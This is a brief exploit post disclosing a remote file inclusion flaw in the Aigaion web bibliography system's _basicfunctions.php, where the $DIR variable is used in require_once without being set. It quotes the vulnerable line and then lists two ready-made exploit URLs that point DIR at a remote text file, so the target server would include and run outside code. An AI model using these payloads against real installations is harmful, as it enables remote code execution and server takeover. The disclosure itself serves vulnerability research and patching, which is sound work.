Aigaion Web Interface remote file inclusion

Software:Web based bibliography management system
Download link: http://sourceforge.net/projects/aigaion/
script:_basicfunctions.php
author: navairum

The script _basicfunctions.php does not specify a value for the $DIR variable before including it.
Vulnerable code:

//if this script is not called from within one of the base pages, redirect to frontpage
require_once($DIR."checkBase.php");

/* This function leads the browser to the given location */

Exploit:
http://site/[PATH]/_basicfunctions.php?DIR=http://site/uhoh.txt?
http://site/path/pageactionauthor.php?DIR=http://site/uhoh.txt?

peace